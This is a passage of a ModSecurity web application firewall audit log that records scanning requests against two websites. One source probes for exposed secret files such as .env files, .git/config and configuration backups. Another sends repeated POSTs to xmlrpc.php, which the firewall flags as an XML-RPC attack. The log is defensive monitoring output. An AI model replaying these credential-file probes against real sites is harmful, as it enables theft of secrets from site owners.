(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --38e35945-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --38e35945-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE87UMSAI-lmnIgQu6D4-AAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022992442490 929449 (- - -) Stopwatch2: 1750022992442490 929449; combined=2119, p1=324, p2=1429, p3=37, p4=53, p5=171, sr=88, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38e35945-Z-- --3dcce33e-A-- [16/Jun/2025:02:59:56.531708 +0530] aE87U9afa9gds5d-5EItGgAAAAM 185.177.72.210 41350 127.0.0.1 7081 --3dcce33e-B-- GET /:8008/statisch/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3dcce33e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=66d7d3fb840829539b75891b3b13741a1750022996; expires=Sun, 15 Jun 2025 22:29:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3dcce33e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/statisch/.env"] [unique_id "aE87U9afa9gds5d-5EItGgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022995891797 639978 (- - -) Stopwatch2: 1750022995891797 639978; combined=1666, p1=370, p2=1197, p3=0, p4=0, p5=98, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3dcce33e-Z-- --a5ccab1b-A-- [16/Jun/2025:03:00:53.706452 +0530] aE87jGeJgEpdIdHvkzyeTgAAAAY 128.199.112.101 46332 127.0.0.1 7081 --a5ccab1b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a5ccab1b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a5ccab1b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE87jGeJgEpdIdHvkzyeTgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023052755094 951414 (- - -) Stopwatch2: 1750023052755094 951414; combined=2373, p1=400, p2=1567, p3=47, p4=65, p5=179, sr=105, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a5ccab1b-Z-- --b254ad32-A-- [16/Jun/2025:03:01:05.978254 +0530] aE87mdxCjYf3vhjKXItzjgAAAA8 185.177.72.210 49946 127.0.0.1 7081 --b254ad32-B-- GET /:8888/project/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b254ad32-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=90cb79cc5276d0cde2bd046a8dc2cc691750023065; expires=Sun, 15 Jun 2025 22:31:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b254ad32-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/project/.env"] [unique_id "aE87mdxCjYf3vhjKXItzjgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023065281133 697185 (- - -) Stopwatch2: 1750023065281133 697185; combined=1847, p1=394, p2=1354, p3=0, p4=0, p5=99, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b254ad32-Z-- --b6e4c202-A-- [16/Jun/2025:03:01:26.839481 +0530] aE87rnwizUED0-SK4eRMPQAAAAE 185.177.72.210 54358 127.0.0.1 7081 --b6e4c202-B-- GET /web.config.bakup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b6e4c202-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=288e9c48c1766579635f0da825cb507f1750023086; expires=Sun, 15 Jun 2025 22:31:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b6e4c202-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web.config.bakup"] [unique_id "aE87rnwizUED0-SK4eRMPQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023086088189 751388 (- - -) Stopwatch2: 1750023086088189 751388; combined=2318, p1=513, p2=1653, p3=0, p4=0, p5=152, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b6e4c202-Z-- --ec367c77-A-- [16/Jun/2025:03:01:35.221580 +0530] aE87ttafa9gds5d-5EItRgAAAAM 185.177.72.210 60686 127.0.0.1 7081 --ec367c77-B-- GET /js-plugin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ec367c77-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a215873f25f8b0b369a1dba568d61f261750023095; expires=Sun, 15 Jun 2025 22:31:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ec367c77-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/js-plugin/.env"] [unique_id "aE87ttafa9gds5d-5EItRgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023094557018 664636 (- - -) Stopwatch2: 1750023094557018 664636; combined=1965, p1=374, p2=1487, p3=0, p4=0, p5=103, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec367c77-Z-- --906b4737-A-- [16/Jun/2025:03:01:52.633918 +0530] aE87x8SAI-lmnIgQu6D5LwAAAAc 185.177.72.210 46734 127.0.0.1 7081 --906b4737-B-- GET /:8000/crm/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --906b4737-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6421353f6e4a2123e89ca0fd3b9865c1750023112; expires=Sun, 15 Jun 2025 22:31:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --906b4737-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/crm/.env"] [unique_id "aE87x8SAI-lmnIgQu6D5LwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023111873240 760739 (- - -) Stopwatch2: 1750023111873240 760739; combined=1630, p1=369, p2=1171, p3=0, p4=0, p5=90, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --906b4737-Z-- --09a14534-A-- [16/Jun/2025:03:01:53.392506 +0530] aE87yNxCjYf3vhjKXItzpAAAAA8 128.199.112.101 46764 127.0.0.1 7081 --09a14534-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --09a14534-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --09a14534-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE87yNxCjYf3vhjKXItzpAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023112444172 948397 (- - -) Stopwatch2: 1750023112444172 948397; combined=2074, p1=395, p2=1281, p3=41, p4=55, p5=183, sr=100, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --09a14534-Z-- --08d44e55-A-- [16/Jun/2025:03:01:54.592606 +0530] aE87yYl8S04UZ4l67-ndWQAAAAk 185.177.72.210 46856 127.0.0.1 7081 --08d44e55-B-- GET /:5601/sites/all/libraries/courrierchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --08d44e55-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0c5910364ff206c1cdf3a8bcfddb37491750023114; expires=Sun, 15 Jun 2025 22:31:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --08d44e55-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/sites/all/libraries/courrierchimp/.env"] [unique_id "aE87yYl8S04UZ4l67-ndWQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023113942279 650393 (- - -) Stopwatch2: 1750023113942279 650393; combined=1981, p1=378, p2=1447, p3=0, p4=0, p5=155, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --08d44e55-Z-- --55b0285c-A-- [16/Jun/2025:03:01:56.559947 +0530] aE87y2eJgEpdIdHvkzyebAAAAAY 185.177.72.210 46936 127.0.0.1 7081 --55b0285c-B-- GET /configurationtionura.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --55b0285c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=752a062376c035d9e562e49b2daf43dc1750023116; expires=Sun, 15 Jun 2025 22:31:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --55b0285c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/configurationtionura.old"] [unique_id "aE87y2eJgEpdIdHvkzyebAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023115906855 653164 (- - -) Stopwatch2: 1750023115906855 653164; combined=1261, p1=234, p2=936, p3=0, p4=0, p5=91, sr=71, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --55b0285c-Z-- --94944168-A-- [16/Jun/2025:03:02:00.464788 +0530] aE87z-CiZPLeFRlDAYwcVgAAAAU 185.177.72.210 34538 127.0.0.1 7081 --94944168-B-- GET /settings/.git/config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --94944168-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=43aa89b44ddf0683038b50a8b183dc161750023120; expires=Sun, 15 Jun 2025 22:32:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --94944168-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.git/config"] [unique_id "aE87z-CiZPLeFRlDAYwcVgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023119811981 652879 (- - -) Stopwatch2: 1750023119811981 652879; combined=1663, p1=377, p2=1180, p3=0, p4=0, p5=105, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --94944168-Z-- --439ebd4f-A-- [16/Jun/2025:03:02:53.268678 +0530] aE88BGBSQiWwwCa-v2QHTQAAAAQ 128.199.112.101 60888 127.0.0.1 7081 --439ebd4f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --439ebd4f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --439ebd4f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE88BGBSQiWwwCa-v2QHTQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023172316567 952166 (- - -) Stopwatch2: 1750023172316567 952166; combined=2467, p1=384, p2=1662, p3=49, p4=69, p5=188, sr=103, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --439ebd4f-Z-- --42d8dd2f-A-- [16/Jun/2025:03:03:10.239819 +0530] aE88FWBSQiWwwCa-v2QHVwAAAAQ 185.177.72.210 39238 127.0.0.1 7081 --42d8dd2f-B-- GET /:10000/project/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --42d8dd2f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ca572216d219641af45d4ba024a9bf61750023190; expires=Sun, 15 Jun 2025 22:33:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --42d8dd2f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/project/.env"] [unique_id "aE88FWBSQiWwwCa-v2QHVwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023189554719 685162 (- - -) Stopwatch2: 1750023189554719 685162; combined=1638, p1=353, p2=1203, p3=0, p4=0, p5=81, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --42d8dd2f-Z-- --c6e9dd5c-A-- [16/Jun/2025:03:03:24.693326 +0530] aE88JAiLzf5Jb_3uGhHfBwAAAAA 185.177.72.210 50290 127.0.0.1 7081 --c6e9dd5c-B-- GET /config.dat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c6e9dd5c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=47690d007ac70b43f25fd0b0fc92c8681750023204; expires=Sun, 15 Jun 2025 22:33:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c6e9dd5c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag 